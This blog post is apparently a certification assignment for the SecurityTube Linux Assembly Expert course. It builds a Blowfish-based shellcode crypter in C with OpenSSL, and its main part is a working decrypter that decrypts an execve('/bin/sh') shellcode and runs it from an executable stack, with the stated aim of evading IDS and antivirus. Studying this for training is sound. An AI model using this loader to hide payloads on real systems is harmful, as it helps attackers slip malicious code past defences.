The final assignment of the SLAE consists in writing a shellcode crypter.
This is a step ahead of the simple encoding scheme we used in a previous assignment. However, the idea is the same: encrypt the shellcode so it looks like random gibberish, then decrypt it at runtime and execute it. This would allow to bypass certain filters and hopefully evade IDS and AVS.
This blog post will cover the Blowfish cipher. Blowfish is a symmetric-key block cipher designed by Bruce Schneier. It has a 64-bit block size and a variable key length from 32 to 448 bits.
It would be super hard to implement the algorithm correctly in assembly language, so we’ll write a C program to encrypt and decrypt our shellcode. Moreover, we’ll be using the libcrypto library within OpenSSL instead of rolling our own Blowfish implementation.
The OpenSSL docs describe the Blowfish interface in detail.
#include <openssl/blowfish.h>
void BF_set_key(BF_KEY *key, int len, const unsigned char *data);
void BF_ecb_encrypt(const unsigned char *in, unsigned char *out,
BF_KEY *key, int enc);
void BF_cbc_encrypt(const unsigned char *in, unsigned char *out,
long length, BF_KEY *schedule, unsigned char *ivec, int enc);
void BF_cfb64_encrypt(const unsigned char *in, unsigned char *out,
long length, BF_KEY *schedule, unsigned char *ivec, int *num,
int enc);
void BF_ofb64_encrypt(const unsigned char *in, unsigned char *out,
long length, BF_KEY *schedule, unsigned char *ivec, int *num);
const char *BF_options(void);
void BF_encrypt(BF_LONG *data,const BF_KEY *key);
void BF_decrypt(BF_LONG *data,const BF_KEY *key);
The documentation discourages direct use of these functions. It suggests working with the high level interface provided by the EVP cipher routines instead. The OpenSSL guys know better, so let’s follow their advice.
A working example on how to use EVP can be found in the OpenSSL wiki.
The following code encrypts the execve(“/bin/sh”)
shellcode from the previous assignment, then decrypts it and compares it to the original plaintext. This is done to ensure that the encryption and decryption methods work as expected, since decrypt(encrypt(shellcode))
should be indistinguishable from shellcode
.
Let’s use a 256-bit key and a 128-bit IV. We can get the md5sum
of the SLAE string to use as key.
$ echo SLAE | md5sum
4a9014eb30e5da0a8ea427b662f1cd3d
The IV will just be 01234567890123456 for the purpose of this assignment. In the real world, it should be initialized to a random value on every run.
#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <string.h>
void print_shellcode(unsigned char *shellcode) {
size_t len = strlen(shellcode);
int i;
for (i = 0; i < len; i++) {
printf("\\x%02x", *(shellcode + i));
}
printf("\n\n");
}
int main(int argc, char *argv[]) {
// 256 bit key
unsigned char *key = "4a9014eb30e5da0a8ea427b662f1cd3d";
// 128 bit IV
unsigned char *iv = "01234567890123456";
// Unencrypted shellcode
unsigned char *plaintext = "\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";
// Buffer for ciphertext (longer than the plaintext shellcode)
unsigned char ciphertext[128];
// Buffer for the decrypted text
unsigned char decrypted_text[128];
int decrypted_len, encrypted_len;
// Initialize the library
ERR_load_crypto_strings();
OpenSSL_add_all_algorithms();
OPENSSL_config(NULL);
// Encrypt the plaintext
encrypted_len = encrypt(plaintext, strlen(plaintext), key, iv,
ciphertext);
printf("Ciphertext is:\n");
BIO_dump_fp(stdout, ciphertext, encrypted_len);
printf("\n");
// Decrypt the ciphertext
decrypted_len = decrypt(ciphertext, encrypted_len, key, iv,
decrypted_text);
decrypted_text[decrypted_len] = '\0';
printf("Decrypted text is:\n");
print_shellcode(decrypted_text);
// Compare decrypt(encrypt(plaintext)) result to the original plaintext.
if (strcmp(plaintext, decrypted_text) != 0) {
printf("The decrypted shellcode does not match the plaintext.\n\n");
} else {
printf("The decrypted shellcode matches the plaintext.\n\n");
}
// Cleanup
EVP_cleanup();
ERR_free_strings();
return 0;
}
void handleErrors(void) {
ERR_print_errors_fp(stderr);
abort();
}
int encrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key,
unsigned char *iv, unsigned char *ciphertext) {
EVP_CIPHER_CTX *ctx;
int len;
int ciphertext_len;
// Create context
if (! (ctx = EVP_CIPHER_CTX_new())) {
handleErrors();
}
// Initialize encryption
if (EVP_EncryptInit_ex(ctx, EVP_bf_cbc(), NULL, key, iv) != 1) {
handleErrors();
}
// Encrypt the message
if (EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len) != 1) {
handleErrors();
}
ciphertext_len = len;
// Finalize encryption
if (EVP_EncryptFinal_ex(ctx, ciphertext + len, &len) != 1) {
handleErrors();
}
ciphertext_len += len;
// Cleanup
EVP_CIPHER_CTX_free(ctx);
return ciphertext_len;
}
int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key,
unsigned char *iv, unsigned char *plaintext) {
EVP_CIPHER_CTX *ctx;
int len;
int plaintext_len;
// Create context
if (! (ctx = EVP_CIPHER_CTX_new())) {
handleErrors();
}
// Initialize decryption
if (EVP_DecryptInit_ex(ctx, EVP_bf_cbc(), NULL, key, iv) != 1) {
handleErrors();
}
// Decrypt the message
if (EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len) != 1) {
handleErrors();
}
plaintext_len = len;
// Finalize decryption
if (EVP_DecryptFinal_ex(ctx, plaintext + len, &len) != 1) {
handleErrors();
}
plaintext_len += len;
// Cleanup
EVP_CIPHER_CTX_free(ctx);
return plaintext_len;
}
Compile and run it.
$ gcc -o crypt crypt.c -lcrypto
$ ./crypt
Ciphertext is:
0000 - 34 cb 6e 8f 8d 2b c0 16-1e ff 12 42 58 38 91 38 4.n..+…..BX8.8
0010 - 23 b6 5f 3a fc 25 11 90-ed e6 bc 01 0f c6 bf 41 #._:.%………A
Decrypted text is:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80
The decrypted shellcode matches the plaintext.
If we change the key or IV when decrypting, we’ll get an incorrect shellcode that does not match the original plaintext.
The decrypter program should decode the encrypted shellcode and execute it. We’ll reuse the decrypt
function from the test program above.
#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <string.h>
void print_shellcode(unsigned char *shellcode) {
size_t len = strlen(shellcode);
int i;
for (i = 0; i < len; i++) {
printf("\\x%02x", *(shellcode + i));
}
printf(“\n\n”);
}
int main(int argc, char *argv[]) {
// 256 bit key
unsigned char *key = "4a9014eb30e5da0a8ea427b662f1cd3d";
// 128 bit IV
unsigned char *iv = "01234567890123456";
// Encrypted shellcode
unsigned char *encrypted_shellcode =
"\x34\xcb\x6e\x8f\x8d\x2b\xc0"
"\x16\x1e\xff\x12\x42\x58\x38"
"\x91\x38\x23\xb6\x5f\x3a\xfc"
"\x25\x11\x90\xed\xe6\xbc\x01"
"\x0f\xc6\xbf\x41";
// Buffer for the decrypted text
unsigned char decrypted_shellcode[128];
int decrypted_len;
// Initialize the library
ERR_load_crypto_strings();
OpenSSL_add_all_algorithms();
OPENSSL_config(NULL);
// Decrypt the ciphertext
decrypted_len = decrypt(encrypted_shellcode, 32, key, iv,
decrypted_shellcode);
decrypted_shellcode[decrypted_len] = '\0';
printf("Decrypted text is:\n");
print_shellcode(decrypted_shellcode);
// Execute decrypted shellcode
printf("Executing shellcode...\n");
printf("Shellcode Length: %d\n", strlen(decrypted_shellcode));
int (*ret)() = (int(*)())decrypted_shellcode;
ret();
// Cleanup
EVP_cleanup();
ERR_free_strings();
return 0;
}
void handleErrors(void) {
ERR_print_errors_fp(stderr);
abort();
}
int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key,
unsigned char *iv, unsigned char *plaintext) {
EVP_CIPHER_CTX *ctx;
int len;
int plaintext_len;
// Create context
if (! (ctx = EVP_CIPHER_CTX_new())) {
handleErrors();
}
// Initialize decryption
if (EVP_DecryptInit_ex(ctx, EVP_bf_cbc(), NULL, key, iv) != 1) {
handleErrors();
}
// Decrypt the message
if (EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len) != 1) {
handleErrors();
}
plaintext_len = len;
// Finalize decryption
if (EVP_DecryptFinal_ex(ctx, plaintext + len, &len) != 1) {
handleErrors();
}
plaintext_len += len;
// Cleanup
EVP_CIPHER_CTX_free(ctx);
return plaintext_len;
}
As usual, let’s compile this code with an executable stack and verify that the shellcode is correctly decrypted and executed.
maxi@ubuntu:~$ gcc -o decrypt decrypt.c -lcrypto -z execstack
maxi@ubuntu:~$ ./decrypt
Decrypted text is:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80
Executing shellcode…
Shellcode Length: 28
$
Yay! It works. 🙂
You can find the code for this assignment on my Github repository.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-651